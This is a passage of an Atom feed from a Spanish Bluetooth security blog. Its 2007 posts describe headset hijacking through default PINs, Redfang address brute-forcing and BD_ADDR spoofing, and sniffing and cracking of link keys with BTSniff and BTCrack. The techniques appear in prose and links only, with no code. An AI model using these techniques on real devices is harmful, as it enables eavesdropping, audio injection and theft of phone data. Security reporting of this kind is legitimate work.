&lt;a href="http://www.seguridadmobile.com/bluetooth/seguridad-bluetooth/headsets-hijacking.html"&gt;atacando&lt;/a&gt; diferentes modelos de Manos Libres:&lt;br /&gt;&lt;br /&gt;- El Manos Libres Jawbone parece que acepta solicitudes de emparejamiento de cualquier equipo aunque el dispositivo no se encuentre en modo visible (&lt;em&gt;discoverable&lt;/em&gt;). Para ello, es necesario conocer su dirección BD_ADDR. Si el dispositivo está en modo oculto (&lt;em&gt;non discoverable&lt;/em&gt;) no podrá ser descubierto con un &lt;em&gt;HCI inquiry&lt;/em&gt; y puede llevarse a cabo un ataque de fuerza bruta sobre un rango de direcciones BD_ADDR con Redfang para &lt;a href="http://www.seguridadmobile.com/bluetooth/seguridad-bluetooth/deteccion-de-dispositivos.html"&gt;poder detectarlo&lt;/a&gt; e intentar el emparejamiento una vez conocida la BD_ADDR. Simple. Es interesante porque el Jawbone es supuestamente el mejor equipo Manos Libres del mercado, basado en tecnología militar para filtrar acústicamente el ruido de ambiente, y toda la &lt;em&gt;gente guay&lt;/em&gt; tiene uno. La &lt;a href="http://www.jawbone.com/demo.php"&gt;demo&lt;/a&gt; del producto es impresionante.&lt;br /&gt;&lt;br /&gt;- Los Manos Libres Motorola y Jabra, a pesar de no estar basados en tecnología militar son más seguros. :P No aceptan solicitudes de emparejamiento de dispositivos desconocidos a menos que el equipo se encuentre en modo visible (&lt;em&gt;discoverable&lt;/em&gt;), para lo cual suele ser necesario apretar una combinación de botones. Sin embargo, en modo oculto (&lt;em&gt;non discoverable&lt;/em&gt;), aceptan solicitudes de re-emparejamiento con dispositivos con los que anteriormente se han emparejado, es decir, dispositivos conocidos. Por tanto, se deduce que llevando a cabo un ataque &lt;a href="http://www.seguridadmobile.com/bluetooth/seguridad-bluetooth/BD_ADDR-spoofing.html"&gt;BD_ADDR Spoofing&lt;/a&gt; de primer nivel y suplantando la dirección BD_ADDR del teléfono móvil con el que usualmente se comunica el Manos Libres, el atacante estaría en disposición de emparejarse con el dispositivo y acceder a sus funciones de audio. Sólo hace falta suplantar la dirección BD_ADDR de un dispositivo conocido, no hace falta suplantar la clave de enlace compartida ya que se genera una nueva tras el emparejamiento, así que el ataque Blue MAC Spoofing es sencillo de ejecutar.&lt;br /&gt;&lt;br /&gt;En ambos casos, recuerdo que para poder emparejarse pasivamente con el Manos Libres el atacante debe conocer el PIN por defecto implantado en este dispositivo, algo fácil de saber consultando el manual del fabricante.&lt;br /&gt;&lt;br /&gt;Una vez conocido el PIN, el atacante se empareja con el Manos Libres (siempre que este esté encendido pero no en uso con un teléfono móvil en ese momento) y puede acceder a las funciones de audio, con capacidad para:&lt;br /&gt;&lt;br /&gt;- Capturar el audio recogido por el micrófono del dispositivo&lt;br /&gt;- Inyectar audio que sería reproducido por el auricular&lt;br /&gt;&lt;br /&gt;Esta es la demo que llevó a cabo Josh en el evento SANS NS2007. Podéis descargaros la presentación original desde &lt;a href="http://www.willhackforsushi.com/presentations/Bluetooth_SANS2007.pdf"&gt;aquí&lt;/a&gt; o con anotaciones desde &lt;a href="http://www.willhackforsushi.com/presentations/icanhearyounow-sansns2007.pdf"&gt;aquí&lt;/a&gt;.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/1056509288419803050-7019595029124296205?l=seguridadmobile.blogspot.com' alt='' /&gt;&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/SeguridadMobile/~4/-ZoK6YLk04Q" height="1" width="1"/&gt;</content><link rel="replies" type="application/atom+xml" href="http://seguridadmobile.blogspot.com/feeds/7019595029124296205/comments/default" title="Post Comments" /><link rel="replies" type="text/html" href="http://www.blogger.com/comment.g?blogID=1056509288419803050&amp;postID=7019595029124296205" title="0 Comments" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/1056509288419803050/posts/default/7019595029124296205?v=2" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/1056509288419803050/posts/default/7019595029124296205?v=2" /><link rel="alternate" type="text/html" href="http://feedproxy.google.com/~r/SeguridadMobile/~3/-ZoK6YLk04Q/estado-del-arte-de-los-ataques-manos.html" title="Estado del arte de los Ataques a Manos Libres Auriculares" /><author><name>Alberto</name><uri>http://www.blogger.com/profile/05614213072751714906</uri><email>noreply@blogger.com</email><gd:image rel="http://schemas.google.com/g/2005#thumbnail" width="16" height="16" src="http://img2.blogblog.com/img/b16-rounded.gif" /></author><thr:total>0</thr:total><feedburner:origLink>http://seguridadmobile.blogspot.com/2007/11/estado-del-arte-de-los-ataques-manos.html</feedburner:origLink></entry><entry gd:etag="W/&quot;DE4CRH0yfip7ImA9WxVVGEw.&quot;"><id>tag:blogger.com,1999:blog-1056509288419803050.post-7280517528678856691</id><published>2007-09-26T19:26:00.003+02:00</published><updated>2009-03-12T01:16:05.396+01:00</updated><app:edited xmlns:app="http://www.w3.org/2007/app">2009-03-12T01:16:05.396+01:00</app:edited><category scheme="http://www.blogger.com/atom/ns#" term="Headsets hijacking" /><category scheme="http://www.blogger.com/atom/ns#" term="Bluetooth security" /><title>Video Headsets Hijacking</title><content type="html">A través del &lt;a href="http://www.mulliner.org/blog/"&gt;blog de Collin Mulliner&lt;/a&gt;, experto en seguridad Bluetooth y en Pocket PCs, he llegado a un video de &lt;a href="http://trifinite.org/trifinite_group_joshua.html"&gt;Joshua Wright&lt;/a&gt; en el que se muestra lo sencillo que resulta comprometer la seguridad de un dispositivo Manos Libres Auriculares. Esta técnica, conocida como &lt;a href="http://www.seguridadmobile.com/bluetooth/seguridad-bluetooth/headsets-hijacking.html"&gt;Headsets Hijacking&lt;/a&gt;, no es nueva. De hecho, ya hablé de ella en mi Proyecto de Fin de Carrera a nivel teórico basándome en las &lt;a href="http://digitalmunition.com/HijackHeadSet.txt"&gt;experiencias de Kevin Finisterre&lt;/a&gt; con varios Manos Libres.&lt;br /&gt;&lt;br /&gt;El ataque es sencillo de entender y se desarrolla del mismo modo que el &lt;a href="http://www.seguridadmobile.com/bluetooth/seguridad-bluetooth/car-whisperer.html"&gt;ataque Car Whisperer&lt;/a&gt; contra dispositivos Manos Libres de Automóvil. Básicamente...&lt;br /&gt;&lt;br /&gt;&lt;em&gt;La primera vez que dos dispositivos Bluetooth intentan establecer comunicación, se utiliza un procedimiento de emparejamiento para crear una clave de enlace común a partir de un código de seguridad Bluetooth (clave PIN), que es requerido a cada dispositivo y que debe ser el mismo para los dos. Posteriormente, cuando los mismos dispositivos se comuniquen, utilizarán la clave de enlace para funciones de autenticación y cifrado. &lt;/em&gt;&lt;br /&gt;&lt;em&gt;&lt;/em&gt;&lt;br /&gt;&lt;em&gt;El hecho de incorporar una clave PIN por defecto (por ejemplo, 0000) en un dispositivo Bluetooth significa que cualquier usuario con conocimiento de esa clave estándar puede emparejarse con el dispositivo y comunicarse con él de forma autorizada. En el caso de un Manos Libres Auriculares, un atacante podría acceder a las funciones de audio implementadas en el terminal y llevar a cabo las siguientes acciones con fines maliciosos:&lt;/em&gt;&lt;br /&gt;&lt;em&gt;&lt;/em&gt;&lt;br /&gt;&lt;em&gt;Capturar el audio recogido por el micrófono del dispositivo&lt;/em&gt;&lt;br /&gt;&lt;br /&gt;&lt;a href="http://3.bp.blogspot.com/_A4k4-Q83_lA/RvoKFP1CFmI/AAAAAAAAAFM/quAMD7cp7do/s1600-h/manoslibresHeadset1.jpg"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer;" src="http://3.bp.blogspot.com/_A4k4-Q83_lA/RvoKFP1CFmI/AAAAAAAAAFM/quAMD7cp7do/s400/manoslibresHeadset1.jpg" alt="" id="BLOGGER_PHOTO_ID_5114411412097209954" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;em&gt;Inyectar audio que sería reproducido por el auricular.&lt;/em&gt;&lt;br /&gt;&lt;br /&gt;&lt;a href="http://1.bp.blogspot.com/_A4k4-Q83_lA/RvoKdv1CFnI/AAAAAAAAAFU/EF-OD5NeFqE/s1600-h/manoslibresHeadset2.jpg"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer;" src="http://1.bp.blogspot.com/_A4k4-Q83_lA/RvoKdv1CFnI/AAAAAAAAAFU/EF-OD5NeFqE/s400/manoslibresHeadset2.jpg" alt="" id="BLOGGER_PHOTO_ID_5114411833004004978" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Como bien comenta Josh, es importante que el dispositivo Manos Libres esté activado pero no en uso en el momento del ataque, es decir, que no esté cursando una llamada telefónica.&lt;br /&gt;&lt;br /&gt;Para llevar el ataque, Josh hace uso de tres elementos importantes:&lt;br /&gt;- La &lt;a href="http://trifinite.org/trifinite_stuff_carwhisperer.html"&gt;herramienta Car Whisperer&lt;/a&gt; del grupo Trifinite, para Linux.&lt;br /&gt;- Una antena unidireccional para incrementar el alcance del adaptador Bluetooth y detectar dispositivos a mayor distancia.&lt;br /&gt;- Una Tablet PC Nokia 770, que corre sobre Linux, para controlar el portatil de su mochila de forma inalámbrica y pasar desapercibido mientras lleva a cabo el ataque.&lt;br /&gt;&lt;br /&gt;Realmente hace un poco el paripé ya que el ataque podría ser desarrollado perfectamente desde la Tablet PC Nokia 770 si la herramienta Car Whisperer estuviera portada a &lt;a href="http://es.wikipedia.org/wiki/Maemo"&gt;Maemo&lt;/a&gt;, la plataforma de desarrollo de las Tablet PC de Nokia con Linux, al igual que &lt;a href="http://trifinite.org/trifinite_stuff_nokia_770.html"&gt;otras herramientas&lt;/a&gt; del grupo Trifinite.&lt;br /&gt;&lt;br /&gt;Sin más, os dejo con el vídeo:&lt;br /&gt;&lt;br /&gt;&lt;p align="center"&gt;&lt;object width="425" height="350"&gt;&lt;param name="movie" value="http://www.youtube.com/v/1c-jzYAH2gw"&gt;&lt;param name="wmode" value="transparent"&gt;&lt;embed src="http://www.youtube.com/v/1c-jzYAH2gw" type="application/x-shockwave-flash" wmode="transparent" width="425" height="350"&gt;&lt;/embed&gt;&lt;/object&gt;&lt;/p&gt;Qué cachondo el tío... me encanta la dramatización, pillastre!!&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/1056509288419803050-7280517528678856691?l=seguridadmobile.blogspot.com' alt='' /&gt;&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/SeguridadMobile/~4/NUKsgRkYFoE" height="1" width="1"/&gt;</content><link rel="replies" type="application/atom+xml" href="http://seguridadmobile.blogspot.com/feeds/7280517528678856691/comments/default" title="Post Comments" /><link rel="replies" type="text/html" href="http://www.blogger.com/comment.g?blogID=1056509288419803050&amp;postID=7280517528678856691" title="0 Comments" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/1056509288419803050/posts/default/7280517528678856691?v=2" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/1056509288419803050/posts/default/7280517528678856691?v=2" /><link rel="alternate" type="text/html" href="http://feedproxy.google.com/~r/SeguridadMobile/~3/NUKsgRkYFoE/video-headsets-hijacking.html" title="Video Headsets Hijacking" /><author><name>Alberto</name><uri>http://www.blogger.com/profile/05614213072751714906</uri><email>noreply@blogger.com</email><gd:image rel="http://schemas.google.com/g/2005#thumbnail" width="16" height="16" src="http://img2.blogblog.com/img/b16-rounded.gif" /></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="http://3.bp.blogspot.com/_A4k4-Q83_lA/RvoKFP1CFmI/AAAAAAAAAFM/quAMD7cp7do/s72-c/manoslibresHeadset1.jpg" height="72" width="72" /><thr:total>0</thr:total><feedburner:origLink>http://seguridadmobile.blogspot.com/2007/09/video-headsets-hijacking.html</feedburner:origLink></entry><entry gd:etag="W/&quot;DUUMSX4-cCp7ImA9WxVQEEo.&quot;"><id>tag:blogger.com,1999:blog-1056509288419803050.post-8139557094329431331</id><published>2007-08-16T19:25:00.003+02:00</published><updated>2009-01-27T18:28:08.058+01:00</updated><app:edited xmlns:app="http://www.w3.org/2007/app">2009-01-27T18:28:08.058+01:00</app:edited><category scheme="http://www.blogger.com/atom/ns#" term="Bluetooth security" /><title>Avances en sniffing Bluetooth</title><content type="html">Esta semana se han producido dos grandes avances en relación con la capacidad para sniffar comunicaciones Bluetooth.&lt;br /&gt;&lt;br /&gt;Recordemos que sniffar comunicaciones Bluetooth es un tema bastante complicado debido a que:&lt;br /&gt;&lt;br /&gt;1) La &lt;a href="http://www.seguridadmobile.com/bluetooth/seguridad-bluetooth/elementos-de-seguridad.html#SaltoFrecuencias"&gt;técnica de salto de frecuencias&lt;/a&gt; impide a cualquier dispositivo que no forme parte de la piconet (que no esté emparejado con el maestro) escuchar las comunicaciones, ya que no tiene acceso a la tabla de saltos utilizada para la transmisión de paquetes.&lt;br /&gt;&lt;br /&gt;2) Los adaptadores USB Bluetooth convencionales no se pueden poner en &lt;a href="http://es.wikipedia.org/wiki/Modo_promiscuo"&gt;modo promiscuo&lt;/a&gt; (como las tarjetas Ethernet o Wi-Fi). Hasta el momento, existían adaptadores con capacidad para ponerse en modo promiscuo, &lt;a href="http://www.fte.com/products/FTS4BT-01.asp"&gt;sniffers&lt;/a&gt;, pero su precio rondaba los 1000$ en el mercado extranjero.&lt;br /&gt;&lt;br /&gt;Durante el pasado evento 23C3, Thierry Zoller publicó la herramienta &lt;a href="http://www.nruns.com/_en/security_tools_btcrack.php"&gt;BTCrack&lt;/a&gt; para Windows. BTCrack es un programa que permite crackear el PIN y la clave de enlace compartidos por dos dispositivos a partir de las tramas capturadas durante el emparejamiento de ambos. El software existía, lo dificil y caro era conseguir el hardware que sniffara esas tramas. En aquel momento, Zoller hizo un llamamiento para encontrar una técnica que permitiera construir un sniffer Bluetooth de bajo coste.&lt;br /&gt;&lt;br /&gt;Max Moser acudió al llamamiento y publicó &lt;a href="http://www.remote-exploit.org/research/busting_bluetooth_myth.pdf"&gt;un paper&lt;/a&gt; en el que desmontaba el mito de que conseguir un sniffer Bluetooth sólo era posible adquiriendo carísimos productos propietarios. Realizando ingeniería inversa del producto &lt;a href="http://www.fte.com/products/FTS4BT-01.asp"&gt;FTS4BT&lt;/a&gt; fue capaz de flashear un adaptador USB Bluetooth convencional con el firmware del sniffer comercial. La aplicación reconocía el hardware como parte del paquete comercial y permitía sniffar.&lt;br /&gt;&lt;br /&gt;El procedimiento de construir un sniffer Bluetooth a partir de un adaptador USB Bluetooth convencial podía desarrollarse en Linux, pero para enviar comandos al hardware y sniffar con él hacía falta el producto comercial para Windows.&lt;br /&gt;&lt;br /&gt;Pues bien, la primera noticia es la publicación de una herramienta que permite enviar comandos al adaptador hardware y utilizarlo para sniffar. El nombre de esta herramienta es &lt;a href="http://darkircop.org/bt/bt.tgz"&gt;BTSniff&lt;/a&gt; y está disponible para Linux. El autor es Andrea (aka sorbo) @ &lt;a href="http://darkircop.org"&gt;http://darkircop.org/&lt;/a&gt;.&lt;br /&gt;&lt;br /&gt;BTSniff consta de dos partes:&lt;br /&gt;&lt;br /&gt;- Ensamblador para construir tu propio firmware&lt;br /&gt;- Frontline para envío de comandos: sincronizar con el maestro, sniffar tramas, ...&lt;br /&gt;&lt;br /&gt;En principio, BTSniff sólo funciona con adaptadores USB Bluetooth con chipset CSR que han sido flasheados con el firmware del sniffer comercial.&lt;br /&gt;&lt;br /&gt;La otra noticia es que BTCrack ya dispone de versión para Linux, aunque aún no se ha hecho pública. Supongo que con la publicación de BTSniff, Zoller no hubiera tardado en hacer pública también esa versión y rematar la exclusiva en seguridad Bluetooth, si no fuera por la reciente ley &lt;a href="http://www.heise-security.co.uk/news/90255" name="202c"&gt;§202C StGB&lt;/a&gt; que acaba de aprobarse en Alemania y que prohibe la distribución de herramientas que pueden ser utilizadas con fines de hacking.&lt;br /&gt;&lt;br /&gt;Gracias a estos dos avances, el sniffing de comunicaciones Bluetooth está más cerca de ser una realidad (no un simple PoC) y estar al alcance de cualquiera. (Aunque, ¿eso es bueno?). En cualquier caso, la nueva especificación 2.1 de Bluetooth que acaba de ser publicada por el SIG introduce algunas mejoras en seguridad supuestamente dirigidas a evitar el sniffing de las comunicaciones Bluetooth. No obstante, de aquí a que la especificación 2.1 domine el mercado de los teléfonos móviles aún quedan años de diversión :)&lt;br /&gt;&lt;br /&gt;&lt;em&gt;¿Y para qué sirve todo esto? Diréis lo no iniciados en seguridad Bluetooth...&lt;/em&gt;&lt;br /&gt;&lt;br /&gt;Os cuento: Gracias a BTSniff, un atacante podrá sincronizarse con el maestro de una piconet y sniffar las tramas transmitidas durante una comunicación Bluetooth con otro dispositivo. Lo interesante sería llevarlo a cabo durante el emparejamiento de dos dispositivos Bluetooth. Capturando estas tramas, el atacante tendría acceso a las keys generadas en el proceso de emparejamiento y podría obtener la clave de enlace Bluetooth a partir de las mismas con ayuda de BTCrack. Con la clave de enlace en su poder, el dispositivo atacante podría acceder de forma transparente a cualquiera de los dos dispositivos suplantando la BD_ADDR del otro dispositivo y utilizando la clave de enlace crackeada. El acceso transparente implica poder conectarse a cualquier perfil del dispositivo objetivo saltándose los mecanismos de seguridad de Bluetooth de autenticación y autorización, tal y como se explica en el ataque &lt;a href="http://www.seguridadmobile.com/bluetooth/seguridad-bluetooth/BD_ADDR-spoofing.html"&gt;BD_ADDR Spoofing&lt;/a&gt;. Las posibilidades: muy "interesantes"... como el acceso a los comandos AT (realizar llamadas de teléfono, gestión de la agenda de contactos, gestión de mensajes SMS, ...) o el acceso al servicio OBEX para el robo de archivos del teléfono móvil.&lt;br /&gt;&lt;br /&gt;Ya era hora de que apareciese alguna novedad en el mundo de la seguridad Bluetooth, después de que la cosa haya estado parada durante un año. ¡Buenas noticias!&lt;br /&gt;&lt;br /&gt;Saludos&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/1056509288419803050-8139557094329431331?l=seguridadmobile.blogspot.com' alt='' /&gt;&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/SeguridadMobile/~4/J-hK-glwyvE" height="1" width="1"/&gt;</content><link rel="replies" type="application/atom+xml" href="http://seguridadmobile.blogspot.com/feeds/8139557094329431331/comments/default" title="Post Comments" /><link rel="replies" type="text/html" href="http://www.blogger.com/comment.g?blogID=1056509288419803050&amp;postID=8139557094329431331" title="0 Comments" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/1056509288419803050/posts/default/8139557094329431331?v=2" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/1056509288419803050/posts/default/8139557094329431331?v=2" /><link rel="alternate" type="text/html" href="http://feedproxy.google.com/~r/SeguridadMobile/~3/J-hK-glwyvE/avances-en-sniffing-bluetooth.html" title="Avances en sniffing Bluetooth" /><author><name>Alberto</name><uri>http://www.blogger.com/profile/05614213072751714906</uri><email>noreply@blogger.com</email><gd:image rel="http://schemas.google.com/g/2005#thumbnail" width="16" height="16" src="http://img2.blogblog.com/img/b16-rounded.gif" /></author><thr:total>0</thr:total><feedburner:origLink>http://seguridadmobile.blogspot.com/2007/08/avances-en-sniffing-bluetooth.html</feedburner:origLink></entry></feed>

